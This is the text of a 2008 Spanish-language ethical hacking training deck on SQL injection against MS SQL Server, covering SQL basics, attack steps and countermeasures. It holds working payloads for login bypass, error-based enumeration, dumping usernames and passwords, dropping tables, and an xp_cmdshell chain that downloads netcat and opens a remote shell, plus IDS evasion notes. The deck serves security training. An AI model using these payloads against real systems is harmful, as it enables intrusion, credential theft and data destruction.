Ethical Hacker Security Training – SQL Injection
SQL Injection
Agenda
SQL: Comandos Básicos
SQL: Ejemplos Básicos
Introducción a SQL Injection
Anatomía de un Ataque
Single Quote
Mensaje de Error
Road Map
Blind SQL Injection
Detección
Evasión
Contramedidas
Herramientas
Ethical Hacker Security Training – SQL Injection 2
Copyright © 2008 SIClabs
SQL: Comandos Básicos
Comandos DCL
(Data Control Language Statements)
Cláusulas
Comandos DDL
(Data Definition Language Statements)
Comandos DML Operadores
(Data Manipulation Language Statements) de Comparación
Ethical Hacker Security Training – SQL Injection 3
Copyright © 2008 SIClabs
1
Ethical Hacker Security Training – SQL Injection
SQL: Comandos Básicos (Cont.)
Comandos DDL (Data Definition Language Statements)
CREATE Utilizado para crear nuevas tablas, campos e índices.
DROP Empleado para eliminar tablas e índices.
Utilizado para modificar las tablas agregando campos o
ALTER
cambiando la definición de los campos.
Comandos DCL (Data Control Language Statements)
GRANT Utilizado para otorgar permisos.
REVOKE Utilizado para revocar permisos.
DENY Utilizado para denegar acceso.
Ethical Hacker Security Training – SQL Injection 4
Copyright © 2008 SIClabs
SQL: Comandos Básicos (Cont.)
Comandos DML (Data Manipulation Language Statements)
Utilizado para consultar registros de una base de datos que
SELECT
satisfagan un criterio determinado.
Utilizado para cargar lotes de datos en la base de datos en
INSERT
una única posición.
Utilizado para modificar los valores de los campos y registros
UPDATE
específicos.
Utilizado para eliminar registros de una tabla de base de
DELETE
datos.
Ethical Hacker Security Training – SQL Injection 5
Copyright © 2008 SIClabs
SQL: Comandos Básicos (Cont.)
Clausulas
Utilizada para especificar la tabla de la cual se van a
FROM
seleccionar los regístros.
Utilizada para especificar las condiciones que deben reunir los
WHERE
registros que se van a seleccionar.
Utilizada para separar los registros seleccionados en grupos
GROUP BY
específicos.
Utilizada para expresar la condición que debe satisfacer cada
HAVING
grupo.
Utilizada para ordenar los registros seleccionados de acuerdo
ORDER BY
con un orden específico.
Ethical Hacker Security Training – SQL Injection 6
Copyright © 2008 SIClabs
2
Ethical Hacker Security Training – SQL Injection
SQL: Comandos Básicos (Cont.)
Operadores de Comparación
< Menor que
> Mayor que
<> Distinto de
<= Menor o igual que
>= Mayor o igual que
= Igual que
BETWEEN Utilizado para especificar un intervalo de valores.
LIKE Utilizado en comparación de un modelo.
IN Utilizado para especificar registros de una base de datos.
Ethical Hacker Security Training – SQL Injection 7
Copyright © 2008 SIClabs
Acceso a Datos
Cliente/Usuario
Un usuario solicita datos
a el gestor de base de datos,
especificando generalmente, un
criterio de selección.
los datos son devueltos
al usuario, de acuerdo al criterio de
selección estipulado en
la consulta
Gestor de Base de Datos
Ethical Hacker Security Training – SQL Injection 8
Copyright © 2008 SIClabs
SQL: Ejemplos Básicos
SELECT * FROM Tabla;
Esta consulta devuelve un recordset con todos los registros de la tabla
“Tabla”
UPDATE Tabla SET password = 'AngelPassword' WHERE
user = 'admin'
Esta sentencia actualizará el campo password para el usuario “admin”, con
el valor indicado
Ethical Hacker Security Training – SQL Injection 9
Copyright © 2008 SIClabs
3
Ethical Hacker Security Training – SQL Injection
MS-SQL: Consideraciones
En un contexto SQL, la unidad típica de ejecución suele ser
denominada “Query” o “Consulta”, la cual no es mas que un
conjunto de comandos que por lo general devuelven un resultado
único.
El lenguaje Transact-SQL, entiende el concepto de comandos en
“Batches”, en donde múltiples sentencias son enviadas como un
único “Batch” o “Lote”.
En la mayoría de los casos, SQL “parsea” estos “Batches”,
ejecutando sentencia por sentencia. Es decir, si la sentencia es
considerada valida, SQL ejecutará, independientemente de
cualquier otra sentencia enviada en el mismo “batch”.
Ethical Hacker Security Training – SQL Injection 10
Copyright © 2008 SIClabs
Introducción a SQL Injection
Se denomina SQL Injection a la posibilidad de insertar sentencias
SQL arbitrarias dentro de una consulta previamente establecida,
con el objeto de manipular de una u otra forma los procesos lícitos
de una aplicación determinada
Este ataques se incluye en la categoría de “Validación de Entrada”
(Input Validation Attacks)
Ethical Hacker Security Training – SQL Injection 11
Copyright © 2008 SIClabs
Nivel de Impacto
3º Nivel Compromiso del host
2º Nivel Modificación / Eliminación / Inserción
1º Nivel Information Disclosure
Ethical Hacker Security Training – SQL Injection 12
Copyright © 2008 SIClabs
4
Ethical Hacker Security Training – SQL Injection
Anatomía de un Ataque
Usuario/Intruso
Internet
App.Web
App.Web
App.Web
App.Web
Web Server
Firewall
Database Server
Usuario/Intruso
Ethical Hacker Security Training – SQL Injection 13
Copyright © 2008 SIClabs
Anatomía de un Ataque (Cont.)
Database
Server
sql = “SELECT * FROM users WHERE username = '" +
username + "' AND userpass = '" + password + "'"
Ethical Hacker Security Training – SQL Injection 14
Copyright © 2008 SIClabs
Anatomía de un Ataque (Cont.)
Un ejemplo de implementación: QUERY STRING
sql = "SELECT * FROM users WHERE
username = '" + username + "' AND
userpass = '" + password + "'"
También llamada Single Quote o Tick, la comilla simple es un
metacaracter, y como tal en el contexto de un string, tiene una
función bien definida.
Dentro de una estructura SQL, se utiliza la comilla simple ( ' ) para
delimitar variables dentro de una consulta.
Ethical Hacker Security Training – SQL Injection 15
Copyright © 2008 SIClabs
5
Ethical Hacker Security Training – SQL Injection
Single Quote: El Concepto (Cont.)
Username: Angel
Password: 338XD
sql = "SELECT * FROM users WHERE username =
'" + username + "' AND userpass = '" +
password + "'"
El Interprete / Base de Datos recibiría:
SELECT * FROM Users WHERE username =
'Angel' AND userpass = '338XD'
Ethical Hacker Security Training – SQL Injection 16
Copyright © 2008 SIClabs
Single Quote: El Concepto
Username: An'gel
Password: 338XD
sql = "SELECT * FROM users WHERE username =
'" + username + "' AND userpass = '" +
password + "'"
El Interprete / Base de Datos recibiría:
SELECT * FROM Users WHERE username =
'An'gel' AND userpass = '338XD'
Ethical Hacker Security Training – SQL Injection 17
Copyright © 2008 SIClabs
Mensaje de Error
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Line 1: Incorrect syntax near 'gel'.
/process_login.asp, línea 25
Ethical Hacker Security Training – SQL Injection 18
Copyright © 2008 SIClabs
6
Ethical Hacker Security Training – SQL Injection
Road Map
Identificación
Salteando la Autenticación
Obteniendo Información: Mensajes de Error
Lectura de Datos
Inserción de Datos
Modificación de Datos
Eliminación de Datos
Denegación de Servicio
Compromiso Total del Host
Ethical Hacker Security Training – SQL Injection 19
Copyright © 2008 SIClabs
Identificación
Objetivos:
- Indentificar componentes dinámicos en el website objetivo.
- Intentar formarse una idea de la “estructura” de la aplicación.
Qué buscar?
Páginas de Identificación y Autenticación de Usuarios
Formularios de ingreso de datos.
URIs/URLs en donde se parseen valores/variables.
http://www.fararmir.com/sections.asp?sec=primera
http://www.hacking.com/index.asp?news=1
Todo aquel componente que acepte algún input por parte del usuario, y procese este de
algún modo.
Cómo testear? (Modo Manual)
Ingresando por ejemplo, el carácter ‘ (Tick / Comilla Simple) en cada uno de los
componentes previamente identificados y observando el resultado obtenido en cada
caso.
Ethical Hacker Security Training – SQL Injection 20
Copyright © 2008 SIClabs
Identificación: Tips
Poner atención a todos los detalles al realizar una inyección
Todos y cada uno de los parámetros encontrados en un script o
aplicación web deben ser chequeados en forma individual
Las herramientas del tipo proxy HTTP suelen ser buenos aliados a
la hora de identificar condiciones vulnerables
Contando con el suficiente acceso y permisos asociados, SQL
Profiler puede ser una excelente opción a fin de no depender de los
mensajes de error.
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs
7
Ethical Hacker Security Training – SQL Injection
Salteando la Autenticación
Objetivos:
- Ingresar a zonas restringidas del website objetivo.
- Impersonar un usuario estándar.
- Identificar un posible Administrador e Impersonarlo.
Como intentar by-pasear la autenticación?
Interpretando / adivinando la forma en que la aplicación esta manejando
requerimientos de autenticación.
Inyectando lógica SQL, en los campos de usuario y contraseña del
formulario.
Algunas opciones:
'or 1=1-- admin'-- 'OR''=''--
Ethical Hacker Security Training – SQL Injection 22
Copyright © 2008 SIClabs
Salteando la Autenticación (Cont.)
Por que la inyección de este código debería funcionar?
'or 1=1--
SELECT * FROM users WHERE username = '' or 1=1--' AND
userpass =''
admin'--
SELECT * FROM users WHERE username = 'admin' -- AND
userpass =''
'OR''=''--
SELECT * FROM users WHERE username = '' OR''=''-- AND
userpass =''
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs
Obtención de Información: Mensajes de Error
Objetivos:
- Obtener el nombre de la tabla participante en la autenticación.
- Enumerar el nombre de sus campos.
- Enumerar el tipo de dato de los mismos.
- Obtener información respecto de la versión del software instalado
en el servidor objetivo.
Objetivos Secundarios:
- Conocer la estructura final que debe poseer un registro miembro
de la tabla participante en la autenticación, a fin de poder insertar
un nuevo registro o modificar uno existente.
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs
8
Ethical Hacker Security Training – SQL Injection
Obtención de Información: Mensajes de Error (Cont.)
Como obtener información por medio de errores ODBC?
Inyectando lógica SQL, en los campos de usuario y contraseña del
formulario.
Utilizando cláusulas del tipo HAVING, GROUP BY y UNION.
Utilizando funciones internas de Microsoft SQL Server.
Algunas cosas para probar:
'having 1=1--
SELECT * FROM users WHERE username = ''having 1=1--'
AND userpass =''
Por que la inyección de este código debería funcionar?
La cláusula HAVING, requiere de una condición específica de
agrupamiento para funcionar.
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs
Obtención de Información: Mensajes de Error (Cont.)
Continuando la enumeración: GROUP BY
'group by users.userid having 1=1--
SELECT * FROM users WHERE username = ''group by
users.userid having 1=1--' AND userpass =''
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs
Obtención de Información: Mensajes de Error (Cont.)
Continuando la enumeración: UNION SELECT
La función natural de la cláusula UNION SELECT, es precisamente la de crear
una consulta de unión, combinando los resultados de dos o mas consultas o
tablas independientes.
En busca del tipo de dato
'union select sum(firstname)from users--
SELECT * FROM users WHERE username = ''union select
sum(firstname) from users--' AND userpass =''
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs
9
Ethical Hacker Security Training – SQL Injection
Obtención de Información: @@version
Por que la inyección de este código debería funcionar?
'union select @@version,1,1,1,1--
SELECT * FROM users WHERE username = ''union select
@@version,1,1,1,1--' AND userpass =''
Al igual que sucedía con nuestro ejemplo anterior, de identificación del tipo de
dato, el mensaje de error del cual nos aprovechamos en esta oportunidad, es
producto de la conversión automática realizada por MS SQL Server.
El mismo se da cuando se intenta convertir un string en un int.
En este caso, se intenta convertir la constante interna @@version en un dato
del tipo int debido a que la primer columna de nuestra consulta es también del
tipo int.
Otras funciones útiles: @@language, @@servicename, @@servername, etc.
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs
Consulta On-Line
http://www.sqlsecurity.com/DesktopDefault.aspx?tabid=37
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs
Lectura de Datos
Es posible provocar mensajes de error por conversión, con el objeto de
leer el campo de una tabla en forma arbitraria?
- Por supuesto!!
Veamos algunos ejemplos:
'union select min(username),1,1,1,1 from users
where username > 'a'--
SELECT * FROM users WHERE username = ''union select
min(username),1,1,1,1 from users where username > 'a'--
'union select min(username),1,1,1,1 from users
where username > 'b'--
SELECT * FROM users WHERE username = ''union select
min(username),1,1,1,1 from users where username > 'b'--
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs
10
Ethical Hacker Security Training – SQL Injection
Table Browsing
Método de tres pasos
1º PASO: Generación de Tabla Temporal
'declare @aux varchar(8000) set @aux='' select
@aux=@aux+username+'/'+userpass+';'from users
where username>@aux select @aux as aux into tmp--
2º PASO: Browsing de la Tabla Temporal
'union select aux,1,1,1,1 from tmp--
3º PASO: Eliminación de la Tabla Temporal
';drop table tmp--
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs
Alterando Datos
Insercción
'insert into users
values(9,'MyUser','MyPass','MyFName','MyLName')--
SELECT * FROM users WHERE username = ''insert into
users values(9, 'MyUser', 'MyPass', 'MyFName',
'MyLName')--'AND userpass =''
Modificación
'update users set userpass='NewPass' where
username='admin'--
Eliminación
'delete from users where username='MyUser'--
Eliminación de la Tabla
'drop table users--
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs
Compromiso Total del Host
Tan solo un ejemplo: xp_cmdshell
xp_cmdshell representa uno excelente recurso para el atacante, puesto
que le brinda a este, la posibilidad de ejecutar todos aquellos comandos
que se encuentran disponibles en una Shell inclusive otra Shell :).
1º PASO: File Upload
'exec master.dbo.xp_cmdshell 'cmd /c tftp –i
i 172.16.1.196
get nc.exe c:\nc.exe'--
2º PASO: Ejecución
'exec master.dbo.xp_cmdshell 'cmd /c c:\nc.exe –l –d –p
1234 –t –e cmd.exe '--
3º PASO: Conexión
c:\telnet 172.16.1.196 1234
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs
11
Ethical Hacker Security Training – SQL Injection
Blind SQL Injection
Seguridad por Oscuridad (Security by Obscurity)
Validación JavaScript del lado del cliente
Redireccionamiento a la página principal
Error 500 Internal Server Error
Errores Customizados (200 OK)
¿Es posible resolver una inyección sin ver mensajes de error?
Aún cuando no se obtengan mensajes de error, la aplicación puede ser
susceptible a un ataque de SQL Injection
Su explotación puede ser bastante mas trabajosa, aunque si las
condiciones están dadas, esta puede resultar igual de efectiva que las
técnicas tradicionales
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs
Detección
Inspección a nivel de Capa de Aplicación (Layer 7)
En raras oportunidades alertan a los IDS/IPS al menos que se
encuentre específicamente configurado a tal efecto
IDS/IPS: Reglas de Detección Específicas (Cantidad de firmas?)
Es teóricamente posible, pero prácticamente imposible identificar
por medio de firmas, las diferentes variantes
La protección por medio de sistemas basados en firmas no es
“práctico”
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs
Evasión
Evasión básica utilizando diferentes encoders
Evasión por medio de inclusión de espacios en blanco
Evasión vía fragmentación y segmentación TCP
Basada en la imposibilidad de detectar TODO
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs
12
Ethical Hacker Security Training – SQL Injection
Contramedidas: Validación de Entrada
La validación de entrada, es la primer capa de protección frente a
este tipo de ataques. Verifique sus opciones y haga un buen uso de
las rutinas de validación
Inspeccione detalladamente el ingreso de datos en sus
aplicaciones, a fin de asegurar que estos contienen solo caracteres
aceptables antes de ser enviados al backend
Algunas Opciones de Validación
“Escapar” las comillas simples
Rechazar lo que conoce como “Bad Input”
Solo permitir el ingreso de “Good Input”
Definir los tipos de datos a utilizar en las entradas, en tiempo de diseño
Implementar filtros que incorporen SOLO los caracteres permitidos
Si se esperan valores numéricos, usar tipos de datos numéricos
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs
Contramedidas: Generalidades
Implementar defensa en profunidad
Realizar el correcto hardening de la plataforma
Implementar un cuidadoso filtrado en los firewalls y border routers
No almacenar passwords dentro de los scripts
Hacer uso del principio de “Menor Privilegio”
Eliminar todos aquellos “Stored Procedures built in” que no se
utilicen
Asignar passwords complejos para el usuario “SA”
Siempre que sea posible, utilizar “Seguridad Integrada de MS-SQL”
Realizar auditorias periódicas al esquema de seguridad
Implementar ciclos de revisión de código
Utilizar IPSec o SSL cuando sea posible
Implementar “Stored Procedures” en forma segura
Utilizar checklists de http://www.sqlsecurity.com
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs
Herramientas
Absinthe
SQLPing2
SQLier
SQLNinja
SQL Power Injector
SQID
SQL Brute
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs
13
Ethical Hacker Security Training – SQL Injection
SQL Injection
Links, Referencias y
Lecturas Complementarias
Links
ISSAF (Information System Security Assessment Framework)
http://www.oissg.org
OWASP “Guide to Building Secure Webs Apps”
http://www.owasp.org/documentation
“SQL Injection – Un Repaso[” (Hernán M. Racciatti)
http://www.hernanracciatti.com.ar
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs
Referencias y Lecturas Complementarias
CEH Official Certified Ethical Hacker Review Guide
By Kimberly Graves
(Sybex) ISBN: 0782144373
Certified Ethical Hacker Exam Prep
By Michael Gregg
(Que) ISBN: 0789735318
Hacking Exposed, Fifth Edition
By S.McClure, J.Scambray, and G.Kurtz
(McGraw-Hill Osborne Media) ISBN: 0072260815
Gray Hat Hacking, Second Edition
By S.Harris, A.Harper, C.Eagle, J.Ness
(McGraw-Hill Osborne Media) ISBN: 0071495681
Ethical Hacker Security Training – SQL Injection 42
Copyright © 2008 SIClabs
14
Ethical Hacker Security Training – SQL Injection
SQL Injection
Preguntas?
15